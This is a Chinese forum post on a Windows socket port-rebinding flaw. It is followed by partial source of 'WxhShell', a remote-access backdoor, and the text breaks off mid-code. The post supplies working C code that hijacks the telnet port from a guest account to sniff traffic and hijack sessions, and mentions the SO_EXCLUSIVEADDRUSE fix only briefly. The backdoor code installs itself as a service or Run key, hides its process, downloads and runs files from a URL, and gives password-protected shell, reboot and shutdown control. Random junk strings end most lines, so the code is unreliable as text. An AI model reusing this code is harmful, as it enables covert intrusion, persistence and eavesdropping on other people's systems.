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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \D<w:\P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K!\$MBI  
T[<deQ  
  saddr.sin_family = AF_INET; PE\.JU  
,ezC}V0M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RM(MCle}  
j mH=W)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gjGKdTr'  
I8s%wY9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W|yF jE&dr  
68 *~5]  
  这意味着什么?意味着可以进行如下的攻击: Z.iQm{bI  
]DO ~7p[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }5??n~:*5  
,1!~@dhs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y!K5?kk  
'@WpJ{]A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'PBuf:9lN  
z K+C&X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %^?yI  
u |EECjJn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a(a 2xa  
!SxZN dv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [l7 G9T}/[  
0?0$6F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .GM}3(1fX`  
_x&fK$Y)B  
  #include :1 Y*&s  
  #include nz}} m^-j  
  #include ?cH,!2  
  #include    [JzOsi~R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2`ED?F68gH  
  int main() 97]$*&fH  
  { @8;0p  
  WORD wVersionRequested; Z{".(?+}1  
  DWORD ret; Wi5rXZS  
  WSADATA wsaData; OZ9ud ]@\  
  BOOL val; u[>hs \3k  
  SOCKADDR_IN saddr; hHoc>S6^M  
  SOCKADDR_IN scaddr; |LwW/>I  
  int err; 9_07?`Jr  
  SOCKET s; [/Figr]  
  SOCKET sc; iax6o+OG|  
  int caddsize; t]QGyW A]  
  HANDLE mt; Tam\,j  
  DWORD tid;   KkF3E*q\H  
  wVersionRequested = MAKEWORD( 2, 2 ); D{J+}*y  
  err = WSAStartup( wVersionRequested, &wsaData ); |*5QFp  
  if ( err != 0 ) { 1I1Z),  
  printf("error!WSAStartup failed!\n"); @|1/yQgi  
  return -1; ENEnHu^  
  } [|NgrU_.  
  saddr.sin_family = AF_INET; {;kH&Pp  
   NETji:d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Bv)4YU  
82q_"y>6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MUs~ZF  
  saddr.sin_port = htons(23); vA(')"DDT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j+E[ [  
  { 3o>.Z;  
  printf("error!socket failed!\n"); 'h:[[D%H`  
  return -1; c[DC  
  } ,Z"l3~0\  
  val = TRUE; Ijs"KAW ?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [)ybPIv]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R8ui LZd  
  { T&5dF9a  
  printf("error!setsockopt failed!\n"); N-+`[8@(P<  
  return -1; fV` R7m.  
  } N;.cZp2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  1aAYBV<3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jgb>:]:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aJ"Tt>Y[.~  
>;ucwLi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6-'Y*  
  { wJb\Q  
  ret=GetLastError(); O 0lQ1<=  
  printf("error!bind failed!\n"); u}[Z=V  
  return -1; hgz7dF  
  } LAoX'^6  
  listen(s,2); otsINAizgS  
  while(1) (:p&[HNuN  
  { m>@$T x  
  caddsize = sizeof(scaddr); u/@dWeY[]  
  //接受连接请求 #Moju  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o~Im5j],*  
  if(sc!=INVALID_SOCKET) FDHa|<oz  
  { ^c9~~m16+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D\:~G}M  
  if(mt==NULL) Cu%|}xq  
  { 'WUevPmt  
  printf("Thread Creat Failed!\n"); uQ;b'6Jcp  
  break; XG5mfKMt+  
  } e/?>6'6 5  
  } y`~[R7E  
  CloseHandle(mt); =9oN#4mWK  
  } C#5z!z/:%  
  closesocket(s); Y dgaZJs  
  WSACleanup(); "[.adiw  
  return 0; Ou _bM n  
  }   pvJsSX  
  DWORD WINAPI ClientThread(LPVOID lpParam) #du!tx ( _  
  { BO b#9r  
  SOCKET ss = (SOCKET)lpParam; C^po*(W6  
  SOCKET sc; aF:_1. LC  
  unsigned char buf[4096]; J`ia6fy.I  
  SOCKADDR_IN saddr; T j7i#o  
  long num; su}> >07  
  DWORD val; xQ `>\f  
  DWORD ret; -vXX u;frt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]-$0?/`p8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0R,?$qM\  
  saddr.sin_family = AF_INET; oEE*H2l\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :N~1fvx  
  saddr.sin_port = htons(23); Fz_SID  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BzqM$F( L,  
  { -E4e8'P;5  
  printf("error!socket failed!\n"); g/b_\__A  
  return -1; a;Q6S  
  } ZB'/DO=i  
  val = 100; 8_MR7'C1hi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) slV+2b  
  { We#u-#k_O  
  ret = GetLastError(); !"2nL%PW~  
  return -1; 5MH\Gq e7  
  } 'aQ"&GX@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g_G'%{T7  
  { |?CR|xqT  
  ret = GetLastError(); (gQ^jmZPG  
  return -1; dnVl;L8L3  
  } @Y'BqDFlZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <wge_3W#  
  { sO~:e?F  
  printf("error!socket connect failed!\n"); oagxTFh8~  
  closesocket(sc); K.?~@5%  
  closesocket(ss); 'dYjbQ}~;  
  return -1; cB U,!  
  } Gxu&o%x [  
  while(1) "8wRx Dr+  
  { yjODa90!G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T8 k@DS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  $j*j {}K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D.H$4[u;j  
  num = recv(ss,buf,4096,0); $d M: 5y  
  if(num>0) #(C2KRRiA  
  send(sc,buf,num,0); .7TQae%  
  else if(num==0) 7pDov@K<{  
  break; LuQ4TT  
  num = recv(sc,buf,4096,0); Yhl {'  
  if(num>0) RwMK%^b  
  send(ss,buf,num,0); c Q~}qE>I  
  else if(num==0) l/,O9ur-  
  break; |'WaBy1  
  } nj99!"_   
  closesocket(ss); 4:-h\%  
  closesocket(sc); 6/@"K HHVe  
  return 0 ; gNJ,Bj Pd  
  } ru,]!YPJE2  
AK\X{>$a!  
W!pLk/|ls  
========================================================== Ym+k \h  
(.a:jL$  
下边附上一个代码,,WXhSHELL '+ 1<7jl&I  
{7 &(2Z]z  
========================================================== rMIr&T  
#W,BUN}  
#include "stdafx.h" %;kr%%t%  
8`Fo^c=j  
#include <stdio.h> Z.+-MNWV  
#include <string.h> %1fH-:c=C0  
#include <windows.h> 8MgoAX,p  
#include <winsock2.h> [{e[3b*M|  
#include <winsvc.h> kxt@t#  
#include <urlmon.h> zRPXmu{t  
!_rAAY  
#pragma comment (lib, "Ws2_32.lib") AVyO5>w  
#pragma comment (lib, "urlmon.lib") \tTZ N  
ZKTOif}  
#define MAX_USER   100 // 最大客户端连接数 g#qt<d}j  
#define BUF_SOCK   200 // sock buffer h')@NnFP 1  
#define KEY_BUFF   255 // 输入 buffer 2C^/;z  
tjc3;9  
#define REBOOT     0   // 重启 [_6_A O(Z  
#define SHUTDOWN   1   // 关机 ko\VDyt,  
{aP5Mem  
#define DEF_PORT   5000 // 监听端口 f3Ior.n(  
d)F~)}TFM  
#define REG_LEN     16   // 注册表键长度 6}"P m  
#define SVC_LEN     80   // NT服务名长度 An cmSi  
^c3~CD5H 3  
// 从dll定义API T6MlKcw,t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KCd}N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,R/HT@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2iHD$tw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,2T&33m  
 f.acH]p  
// wxhshell配置信息 |F z/9+I  
struct WSCFG { 'PRsZ`x.  
  int ws_port;         // 监听端口 i:W.,w%8  
  char ws_passstr[REG_LEN]; // 口令 t%Hg8oya  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7K3S\oPej  
  char ws_regname[REG_LEN]; // 注册表键名 O@r%G0Jge  
  char ws_svcname[REG_LEN]; // 服务名 Zyxr#:Qm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r'xZF~}k"~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c?B@XIl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '<_nL8A^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f*KNt_|:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {/`iZzPg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yq+'O&+   
]V*s-och'  
}; -Yx'qz@  
v3!oY t:l  
// default Wxhshell configuration :N$^x /{  
struct WSCFG wscfg={DEF_PORT, Z18T<e  
    "xuhuanlingzhe", eMyh&@7(F  
    1, .%;`: dtj  
    "Wxhshell", ZHT_o\  
    "Wxhshell", 21'I-j  
            "WxhShell Service", vAWJP_;J  
    "Wrsky Windows CmdShell Service", =Hplg>h)  
    "Please Input Your Password: ", 9jq}`$S{  
  1, :YaEMQJ^  
  "http://www.wrsky.com/wxhshell.exe", U;QTA8|!&  
  "Wxhshell.exe"  h>\T1PM  
    }; 5(RFk Zn4[  
~+w'b7T,=  
// 消息定义模块 r >bMx~a]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <QbD ;(%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^o&3+s} M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Er/h:=  
char *msg_ws_ext="\n\rExit."; 7\x7ySM  
char *msg_ws_end="\n\rQuit."; _8x:%$   
char *msg_ws_boot="\n\rReboot..."; (;DnL|"'8  
char *msg_ws_poff="\n\rShutdown..."; "B`k  
char *msg_ws_down="\n\rSave to "; ~D# -i >Z  
j}9][Fm1*  
char *msg_ws_err="\n\rErr!"; NG3!09eY  
char *msg_ws_ok="\n\rOK!"; >np!f8+d"q  
9e|-sn  
char ExeFile[MAX_PATH]; |f5WN&c  
int nUser = 0; ; kPx@C   
HANDLE handles[MAX_USER]; <u "xHl8Io  
int OsIsNt; Jw13 Wb-  
j9Qd 45  
SERVICE_STATUS       serviceStatus; Bgb~Tz'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c;siMWw;  
wUb5[m  
// 函数声明 7{jB!Xj  
int Install(void); ~,#zdm1r@  
int Uninstall(void); 9*s''=  
int DownloadFile(char *sURL, SOCKET wsh); {jz?LM  
int Boot(int flag); & Xh8j^p'  
void HideProc(void); ."`mh&+`  
int GetOsVer(void); Pw c)u&  
int Wxhshell(SOCKET wsl); ivTx6-]  
void TalkWithClient(void *cs); O7<--  
int CmdShell(SOCKET sock); 3=YK" 5J  
int StartFromService(void); $D;/b+a  
int StartWxhshell(LPSTR lpCmdLine); >O0z+tj  
R=Qa54  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wXUP%i]i=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [=3f:>ssm  
.`w[A  
// 数据结构和表定义 ? 2#tIND  
SERVICE_TABLE_ENTRY DispatchTable[] = {7EnM1]  
{ @34Z/%A  
{wscfg.ws_svcname, NTServiceMain}, UXs=7H".  
{NULL, NULL} |76G#K~<X  
}; d}d1]@Y\  
F7o#KN*.]  
// 自我安装 6Bv!t2  
int Install(void) R\i8O^[  
{ TNi4H:\  
  char svExeFile[MAX_PATH]; gteG*pi  
  HKEY key; WA'4y\N  
  strcpy(svExeFile,ExeFile); 4?eO1=a  
cx+w_D9b!  
// 如果是win9x系统,修改注册表设为自启动 .~3s~y*s  
if(!OsIsNt) { F+!w[}0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v@xbur\L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  F,hiKq*  
  RegCloseKey(key); "c+j2f'f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B|fh 4FNy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d17RJW%A  
  RegCloseKey(key); st7\k]J\  
  return 0; ,Wbr; zb  
    } jH5VrN*Q  
  } Xl/ SDm_p  
} 1')_^]  
else { ?'xwr )v  
-(oFO'Lbg  
// 如果是NT以上系统,安装为系统服务 o$4i{BL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uT Z#85L `  
if (schSCManager!=0) ;#i$5L!*B  
{ bmid;X|  
  SC_HANDLE schService = CreateService Q<c{$o  
  ( YK{E=<:  
  schSCManager, 13JZ\`ceb  
  wscfg.ws_svcname, W{El^')F  
  wscfg.ws_svcdisp, Z&Qz"V>$  
  SERVICE_ALL_ACCESS, e=H,|)P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -J6G=+ s/  
  SERVICE_AUTO_START, t| cL!  
  SERVICE_ERROR_NORMAL, @$*LU:[  
  svExeFile, ^ UDNp.6k  
  NULL, .#OD=wkN0  
  NULL, Yk^clCB{A(  
  NULL, >N bb0T  
  NULL, S|K#lL  
  NULL vyA `Z1  
  ); ~+)sL1lx  
  if (schService!=0) G u4mP  
  { )IFFtU~,  
  CloseServiceHandle(schService); $sxm MP  
  CloseServiceHandle(schSCManager); a5dc#f Kf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LkwjEJQf  
  strcat(svExeFile,wscfg.ws_svcname); AE@N:a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { svWQk9d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >qL-a*w:a  
  RegCloseKey(key); tb1w 6jaU  
  return 0; nYb{?{_ca8  
    } + FG Xx  
  } {Q(R#$)5+  
  CloseServiceHandle(schSCManager); 2FxrjA  
} ]n 'FD|  
} }~O`(mnD}K  
/l b"g_  
return 1; %2ZWSQD  
} oD8X]R, H  
Q1 5h \!u  
// 自我卸载 l\DcXgD x  
int Uninstall(void) (Wu J9  
{ 0K:3?Ik  
  HKEY key; #\T5r*W  
L3J .Oh  
if(!OsIsNt) { ,&ld:v?~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 40m>~I^q}  
  RegDeleteValue(key,wscfg.ws_regname); k.6gX<T  
  RegCloseKey(key); ;Ob`B@!=b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZD#{h J-  
  RegDeleteValue(key,wscfg.ws_regname); >0AVs6&;v  
  RegCloseKey(key); g&?RQ  
  return 0; SLjSNuOP  
  } D=_FrEM_IA  
} (&@,ZI;  
} =2&Sw(6j  
else { Y q(CD!  
S7kZpD $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f2,\B6+  
if (schSCManager!=0) w(cl,W/w  
{ *Hed^[sO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +sm9H"_0  
  if (schService!=0) >`)IdX  
  { yr[HuwU  
  if(DeleteService(schService)!=0) { !McRtxq?~  
  CloseServiceHandle(schService); M|9=B<6`7  
  CloseServiceHandle(schSCManager); }WM!e"  
  return 0; >pj)va[Q  
  } )o N#%%SB<  
  CloseServiceHandle(schService); e;r?g67  
  } "jA?s9  
  CloseServiceHandle(schSCManager); ?:c:D5N  
} qt,;Yxx#^  
} g'<ekY+V:  
$e/[!3CASP  
return 1; )^[PW&=W|x  
} 5 K[MKfT  
T@gm0igW/;  
// 从指定url下载文件 K<~J*k<v  
int DownloadFile(char *sURL, SOCKET wsh) .u^4vVz  
{ TBu[3X%  
  HRESULT hr; XFJz\'{  
char seps[]= "/"; x2.YEuSMC  
char *token; h:~ 8WV|  
char *file; w)Wg 8  
char myURL[MAX_PATH]; y25L`b  
char myFILE[MAX_PATH]; U#' WP  
&p83X  
strcpy(myURL,sURL); x/,(G~  
  token=strtok(myURL,seps); bO6LBSZx]  
  while(token!=NULL) bY!1t}ALh  
  { uj^l&"  
    file=token; 6  5>}Q.p  
  token=strtok(NULL,seps);  ;)ji3M  
  } (\*+HZ`(Uu  
gf^XqTLs  
GetCurrentDirectory(MAX_PATH,myFILE); zA%$l&QN]  
strcat(myFILE, "\\"); YAJr@v+Ls  
strcat(myFILE, file); D !5 {CQl  
  send(wsh,myFILE,strlen(myFILE),0); ^rssZQKY[  
send(wsh,"...",3,0); CI+@G XY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vq-# %o  
  if(hr==S_OK) D'Y=}I)8Dn  
return 0; 5rUDRFO6  
else N5jJ,iz  
return 1; 0.lOSAq  
{/}p"(^  
} _8ubo\M~  
8}>s{u;W  
// 系统电源模块 N)Qz:o0W  
int Boot(int flag) rLx'.:  
{ EU4j'1!&g<  
  HANDLE hToken; g ^4<ve  
  TOKEN_PRIVILEGES tkp; e%EE|  
Ot([5/K  
  if(OsIsNt) { *wu|(t_ A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =5u;\b>*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'm|PSwB7  
    tkp.PrivilegeCount = 1; 7kq6VS;p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <0!)}O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8G?OZ47k#  
if(flag==REBOOT) { *7G5\[gI$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w .+B h  
  return 0; -$tf`   
} _ a -At  
else { &l _NCo2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &.)ST0b4  
  return 0; c'&\[b(m  
} 0S$6j-"  
  } }e0>Uk`[  
  else { j,CVkA*DY  
if(flag==REBOOT) { \>p\~[cxt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]Yx&  
  return 0; `| f1^C^  
} IXof- I%8  
else { pu,|_N[xq8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )F65sV{  
  return 0; PIZK*Lop  
} bPUldkB:  
} ~xU\%@I\  
v/~Lfi  
return 1; NNn sq@?6  
} `i{p6-U3  
h}yfL@  
// win9x进程隐藏模块 hd~0qK  
void HideProc(void) L#Rj~&U  
{ ) $=!e%{  
j+NsNIJq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #?klVK&e/  
  if ( hKernel != NULL ) Tjj-8cg  
  { 9Z lfY1=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f=T&$tZ<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~__rI-/_  
    FreeLibrary(hKernel); B(,j*,f  
  } E<r<ObeRv`  
cxc-|Xori  
return; ?eOw8Rom  
} 3%YDsd vQx  
s>ohXISB[  
// 获取操作系统版本 ]@ N::!m  
int GetOsVer(void) IyoitIbLl  
{ mG.H=iw  
  OSVERSIONINFO winfo; RKD$'UWX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Ky$(Ubb#6  
  GetVersionEx(&winfo); |)+45e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -I.BQ  
  return 1; \vF*n Z5/  
  else - sL4tMP  
  return 0; I T gzD"d  
} @f`s%o  
2}U:6w  
// 客户端句柄模块 ASUL g{  
int Wxhshell(SOCKET wsl) &FY7 D<  
{ 7O<K?;I  
  SOCKET wsh; }$@E pM  
  struct sockaddr_in client; !n|4w$t"V  
  DWORD myID; F~wqt7*  
Aga{EKd  
  while(nUser<MAX_USER) h]DzX8r}  
{ DT3koci(  
  int nSize=sizeof(client); (\H^ KEy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |Pq z0n=v  
  if(wsh==INVALID_SOCKET) return 1; 2k+u_tj>  
v%;Ny ab6$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y Sux#*#H  
if(handles[nUser]==0) %6E:SI 4  
  closesocket(wsh);  |Fe*t  
else N7-LgP  
  nUser++; CtE <9?  
  } x\5v^$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 495A\8#  
][B>`gC-  
  return 0; RSBk^  
} X1o=rT  
}xpo@(e  
// 关闭 socket QSyPtjg]  
void CloseIt(SOCKET wsh) V=)' CCi{  
{ %a|m[6+O  
closesocket(wsh); {QVs[ J1  
nUser--; =i>i,>bv  
ExitThread(0); 8K2=WYN  
} C=&;4In  
!YIW8SP)  
// 客户端请求句柄 f{)nxd >#  
void TalkWithClient(void *cs) Xp0S  
{ [ps 5  
'Xu3]'m*  
  SOCKET wsh=(SOCKET)cs; ,D2nUk  
  char pwd[SVC_LEN]; .~fov8  
  char cmd[KEY_BUFF]; tgC)vZ&a  
char chr[1]; MY l9 &8  
int i,j; F&a)mpFv3c  
`&i\q=u+  
  while (nUser < MAX_USER) { Dr5AJ`y9A  
1@xdzKua1  
if(wscfg.ws_passstr) { gm =LM=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6&_K;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sE!$3|Q  
  //ZeroMemory(pwd,KEY_BUFF); F<J`1 :  
      i=0; <jG[ z69)  
  while(i<SVC_LEN) { G$VE o8Blb  
@@H?w7y?&  
  // 设置超时 .zsY VtK  
  fd_set FdRead; dgT(]H  
  struct timeval TimeOut; gjn1ha"h%.  
  FD_ZERO(&FdRead); _2w8S\  
  FD_SET(wsh,&FdRead); _kdt0Vr,L  
  TimeOut.tv_sec=8; dZCnQIS  
  TimeOut.tv_usec=0; Iqq BUH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xM![  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mX[J15  
.+&M,% x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8/R9YiY5*  
  pwd=chr[0]; Dq+S'x~>  
  if(chr[0]==0xd || chr[0]==0xa) { vQy+^deW  
  pwd=0; :M8y 2f h  
  break; rUZ09>nDy  
  } ;cGY  
  i++; ]A:8x`z#F  
    } Hz j%G>  
Y(=A HmR  
  // 如果是非法用户,关闭 socket i':a|#e>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i?f;C_w  
} |q c<C&O  
TT={>R[B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7G%:ckg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +0) H~ qB\  
D B(!*6#?  
while(1) { LIn2&r:U  
d ;i@9+  
  ZeroMemory(cmd,KEY_BUFF); Z29aRi  
hGRHuJ  
      // 自动支持客户端 telnet标准   Z=oGyA  
  j=0; v1p^=" IHI  
  while(j<KEY_BUFF) { I.it4~]H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a|z@5r%  
  cmd[j]=chr[0]; %DM0Z8P$B-  
  if(chr[0]==0xa || chr[0]==0xd) { )FN$Jlo  
  cmd[j]=0; A2SDEVU  
  break; V3ExS1fNf  
  } xNjWo*y v  
  j++; KW/LyiP#  
    } ?in)kL  
<6+T&Ov6  
  // 下载文件 }i J$&CJ  
  if(strstr(cmd,"http://")) { R?M>uaxn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J?Oeuk~[D  
  if(DownloadFile(cmd,wsh)) M0$E_*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -d^'-s  
  else V[n,fEPBr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jB`:(5%RO  
  } {C0Y8:"`  
  else { C[5dhFZ  
BN~ndWRK  
    switch(cmd[0]) { .y lvJ$  
  >`p? CE  
  // 帮助 Qe-PW9C  
  case '?': { RT${7=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F@mxd  
    break; }Rw6+;  
  } RhC|x,E  
  // 安装 $ Ggnn#  
  case 'i': { JKy~'>Q  
    if(Install()) .R l7,1\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a$Hq<~46  
    else =- ,'LOE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *f_A :`:  
    break; 3_`)QYU'  
    } +(y 8q  
  // 卸载 K)5j  
  case 'r': { {e q378d  
    if(Uninstall()) *+nw%gZG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cy *.pzCi  
    else E(vO^)#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y B,c=Wx  
    break; xaVn.&Wl  
    } [ D.%v~j  
  // 显示 wxhshell 所在路径 1vxQ`)a  
  case 'p': { PG}Roj I  
    char svExeFile[MAX_PATH]; %M))Ak4 ~a  
    strcpy(svExeFile,"\n\r"); s;Gg  
      strcat(svExeFile,ExeFile); -*i_8`  
        send(wsh,svExeFile,strlen(svExeFile),0); )WInPW  
    break; lcy<taNu)  
    } P+=m.  
  // 重启 LrT EF j  
  case 'b': { U^7bj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JgA{1@h  
    if(Boot(REBOOT)) 6B|i-b $~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1U/RMN3`  
    else { wc. =`Me  
    closesocket(wsh); nO!&;E&  
    ExitThread(0); "qd|!:bE  
    } N-_APWA  
    break; tfZ@4%'  
    } 8>Cf}TvErx  
  // 关机 C=]<R< Xy  
  case 'd': { <U1T_fiBoc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #o7)eKeQ  
